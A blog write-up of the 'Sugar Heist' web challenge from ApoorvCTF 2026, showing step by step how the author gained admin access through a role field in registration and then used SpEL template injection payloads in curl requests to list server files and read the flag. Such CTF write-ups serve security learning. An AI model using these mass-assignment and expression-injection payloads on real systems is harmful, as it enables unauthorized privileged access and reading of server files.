379 words
2 minutes
ApoorvCTF 2026 - Sugar Heist - Web Exploitation Writeup

Category: Web Exploitation Flag: apoorvctf{sp3l_1nj3ct10n_sw33t_v1ct0ry_2026}

Challenge Description#

Sweet Shop - So can you spell the word sweet

Analysis#

The homepage source looked intentionally playful, but it immediately gave a useful breadcrumb by mentioning the management API and including a fake-looking flag in HTML comments. I pulled the page first to confirm those hints and collect the API surface clues.

curl -s "http://chals1.apoorvctf.xyz:7001/"
<!-- apoorvctf{html_s0urc3_1s_n0t_th3_w4y} -->
<!-- Management API: /actuator -->

From there, checking actuator mappings was the cleanest low-noise way to enumerate real backend routes without brute-force path spraying. That exposed hidden admin endpoints and showed exactly where to focus.

curl -s "http://chals1.apoorvctf.xyz:7001/actuator/mappings" | rg -o "(/api/admin/(debug/config|flag|users|preview)|/h2-console/\*)"
/api/admin/debug/config
/api/admin/flag
/api/admin/users
/api/admin/preview
/h2-console/*

The first trap was /api/admin/flag, which returned a convincing but incorrect flag. That was the troll moment that forced a pivot from “grab admin flag endpoint” to “understand backend template behavior.”

tableflip

curl -s "http://chals1.apoorvctf.xyz:7001/api/admin/flag" -H "X-Api-Token: eca59e87-f9a6-4d55-928a-2654bd5aec41"
{"message":"Congratulations! You found the admin panel flag!","flag":"apoorvctf{y0u_f0und_th3_4dm1n_p4n3l}"}

Before template exploitation, I needed a valid admin token generated through the app’s own flow. Registration accepted a user-controlled role field, so mass assignment allowed creating an ADMIN account directly, and login returned apiToken for privileged endpoints.

u="ctfwrite$(date +%s)" && curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/register" -H "Content-Type: application/json" -d "{\"username\":\"$u\",\"password\":\"Passw0rd!\",\"email\":\"$u@example.com\",\"role\":\"ADMIN\"}" && curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/login" -H "Content-Type: application/json" -d "{\"username\":\"$u\",\"password\":\"Passw0rd!\"}"
{"role":"ADMIN","message":"Registration successful","username":"ctfwrite1772940656"}
{"role":"ADMIN","apiToken":"9333e04b-d871-4088-80a0-56f45bc9a51d","message":"Login successful","username":"ctfwrite1772940656"}

The decisive bug was in /api/admin/preview: user input in template was evaluated as SpEL. A quick arithmetic payload confirmed expression execution.

curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/admin/preview" -H "X-Api-Token: eca59e87-f9a6-4d55-928a-2654bd5aec41" -H "Content-Type: application/json" -d '{"template":"[[${7*7}]]"}'
{"note":"This is a preview of the notification template","preview":"[[49]]"}

With SpEL confirmed, I used Java APIs inside expression context to inspect /app and found flag.txt available from the runtime working directory.

curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/admin/preview" -H "X-Api-Token: eca59e87-f9a6-4d55-928a-2654bd5aec41" -H "Content-Type: application/json" -d '{"template":"[[${T(java.util.Arrays).toString(new java.io.File(\"/app\").list())}]]"}'
{"note":"This is a preview of the notification template","preview":"[[[flag.txt, app.jar]]]"}

The elegant finish was calling the service method reachable from template context: #root.shopService.readFlag("flag.txt"). That returned the real flag directly.

wink

curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/admin/preview" -H "X-Api-Token: eca59e87-f9a6-4d55-928a-2654bd5aec41" -H "Content-Type: application/json" -d '{"template":"[[${#root.shopService.readFlag(\"flag.txt\")}]]"}'
{"note":"This is a preview of the notification template","preview":"[[apoorvctf{sp3l_1nj3ct10n_sw33t_v1ct0ry_2026}\n]]"}

Solution#

u="ctfwrite$(date +%s)"
curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/register" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$u\",\"password\":\"Passw0rd!\",\"email\":\"$u@example.com\",\"role\":\"ADMIN\"}"

curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/login" \
  -H "Content-Type: application/json" \
  -d "{\"username\":\"$u\",\"password\":\"Passw0rd!\"}"

# Use returned apiToken in X-Api-Token below
curl -s -X POST "http://chals1.apoorvctf.xyz:7001/api/admin/preview" \
  -H "X-Api-Token: <ADMIN_API_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{"template":"[[${#root.shopService.readFlag(\"flag.txt\")}]]"}'
{"note":"This is a preview of the notification template","preview":"[[apoorvctf{sp3l_1nj3ct10n_sw33t_v1ct0ry_2026}\n]]"}
ApoorvCTF 2026 - Sugar Heist - Web Exploitation Writeup
https://blog.rei.my.id/posts/116/apoorvctf-2026-sugar-heist-web-exploitation-writeup/
Author
Reidho Satria
Published at
2026-03-10
License
CC BY-NC-SA 4.0